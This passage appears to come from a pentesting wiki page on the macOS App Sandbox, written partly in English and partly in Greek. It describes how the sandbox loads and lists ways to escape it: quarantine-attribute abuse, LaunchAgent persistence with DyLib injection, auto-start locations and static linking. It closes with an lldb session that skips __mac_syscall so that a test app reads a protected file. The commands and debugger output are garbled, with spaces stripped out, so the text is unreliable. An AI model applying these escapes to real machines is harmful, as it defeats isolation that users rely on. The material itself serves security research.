In the previous image it's possible to observe πώς θα φορτωθεί το sandbox όταν εκτελείται μια εφαρμογή με την εξουσιοδότηση com.apple.security.app-sandbox.
The compiler will link /usr/lib/libSystem.B.dylib to the binary.
Then, libSystem.B will be calling other several functions until the xpc_pipe_routine sends the entitlements of the app to securityd. Securityd checks if the process should be quarantine inside the Sandbox, and if so, it will be quarentine.
Finally, the sandbox will be activated will a call to __sandbox_ms which will call __mac_syscall.
Possible Bypasses
Bypassing quarantine attribute
Τα αρχεία που δημιουργούνται από διαδικασίες που είναι σε sandbox προστίθεται το quarantine attribute για να αποτραπεί η διαφυγή από το sandbox. Ωστόσο, αν καταφέρετε να δημιουργήσετε έναν φάκελο .app χωρίς το quarantine attribute μέσα σε μια εφαρμογή που είναι σε sandbox, θα μπορούσατε να κάνετε το εκτελέσιμο της εφαρμογής να δείχνει στο /bin/bash και να προσθέσετε κάποιες μεταβλητές περιβάλλοντος στο plist για να εκμεταλλευτείτε το open για να εκκινήσετε τη νέα εφαρμογή χωρίς sandbox.
Therefore, at the moment, if you are just capable of creating a folder with a name ending in .app without a quarantine attribute, you can scape the sandbox because macOS only checks the quarantine attribute in the .app folder and in the main executable (and we will point the main executable to /bin/bash).
Note that if an .app bundle has already been authorized to run (it has a quarantine xttr with the authorized to run flag on), you could also abuse it... except that now you cannot write inside .app bundles unless you have some privileged TCC perms (which you won't have inside a sandbox high).
Even if an application is meant to be sandboxed (com.apple.security.app-sandbox), it's possible to make bypass the sandbox if it's executed from a LaunchAgent (~/Library/LaunchAgents) for example.
As explained in this post, if you want to gain persistence with an application that is sandboxed you could make be automatically executed as a LaunchAgent and maybe inject malicious code via DyLib environment variables.
Abusing Auto Start Locations
If a sandboxed process can write in a place where later an unsandboxed application is going to run the binary, it will be able to escape just by placing there the binary. A good example of this kind of locations are ~/Library/LaunchAgents or /System/Library/LaunchDaemons.
For this you might even need 2 steps: To make a process with a more permissive sandbox (file-read*, file-write*) execute your code which will actually write in a place where it will be executed unsandboxed.
Check this page about Auto Start locations:
Abusing other processes
If from then sandbox process you are able to compromise other processes running in less restrictive sandboxes (or none), you will be able to escape to their sandboxes:
Static Compiling & Dynamically linking
This research discovered 2 ways to bypass the Sandbox. Because the sandbox is applied from userland when the libSystem library is loaded. If a binary could avoid loading it, it would never get sandboxed:
If the binary was completely statically compiled, it could avoid loading that library.
If the binary wouldn't need to load any libraries (because the linker is also in libSystem), it won't need to load libSystem.
Shellcodes
Note that even shellcodes in ARM64 needs to be linked in libSystem.dylib:
# Compile itgcc-Xlinker-sectcreate-Xlinker__TEXT-Xlinker__info_plist-XlinkerInfo.plistsand.c-osand# Create a certificate for "Code Signing"# Apply the entitlements via signingcodesign-s<cert-name>--entitlementsentitlements.xmlsand
Η εφαρμογή θα προσπαθήσει να διαβάσει το αρχείο ~/Desktop/del.txt, το οποίο η Sandbox δεν θα επιτρέψει.
Δημιουργήστε ένα αρχείο εκεί καθώς μόλις παρακαμφθεί η Sandbox, θα μπορεί να το διαβάσει:
echo"Sandbox Bypassed">~/Desktop/del.txt
Ας αποσφαλματώσουμε την εφαρμογή για να δούμε πότε φορτώνεται το Sandbox:
# Load app in debugginglldb./sand# Set breakpoint in xpc_pipe_routine(lldb) bxpc_pipe_routine# run(lldb) r# This breakpoint is reached by different functionalities# Check in the backtrace is it was de sandbox one the one that reached it# We are looking for the one libsecinit from libSystem.B, like the following one:(lldb) bt* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routineframe#1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584frame#2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64frame#3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80frame#4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272# To avoid lldb cutting info(lldb) settingssettarget.max-string-summary-length10000# The message is in the 2 arg of the xpc_pipe_routine function, get it with:(lldb) p (char *) xpc_copy_description($x1)(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...
# The 3 arg is the address were the XPC response will be stored(lldb) registerreadx2x2=0x000000016fdfd660# Move until the end of the function(lldb) finish# Read the response## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY(lldb) memoryread-fp0x000000016fdfd660-c10x16fdfd660:0x0000600003d04000(lldb) p (char *) xpc_copy_description(0x0000600003d04000)(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"
# To bypass the sandbox we need to skip the call to __mac_syscall# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)(lldb) breakpointset--name__mac_syscall--condition'($x1 == 0)'(lldb) c# The 1 arg is the name of the policy, in this case "Sandbox"(lldb) memoryread-fs $x00x19300eb22:"Sandbox"## BYPASS## Due to the previous bp, the process will be stopped in:Process2517stopped* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1frame#0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscalllibsystem_kernel.dylib`:-> 0x187659900<+0>:movx16,#0x17d0x187659904<+4>:svc#0x800x187659908<+8>:b.lo0x187659928 ; <+40>0x18765990c<+12>:pacibsp# To bypass jump to the b.lo address modifying some registers first(lldb) breakpointdelete1# Remove bp(lldb) registerwrite $pc 0x187659928#b.lo address(lldb) registerwrite $x0 0x00(lldb) registerwrite $x1 0x00(lldb) registerwrite $x16 0x17d(lldb) cProcess2517resumingSandboxBypassed!Process2517exitedwithstatus=0 (0x00000000)
Ακόμα και με το Sandbox παρακάμπτεται, το TCC θα ρωτήσει τον χρήστη αν θέλει να επιτρέψει στη διαδικασία να διαβάσει αρχεία από την επιφάνεια εργασίας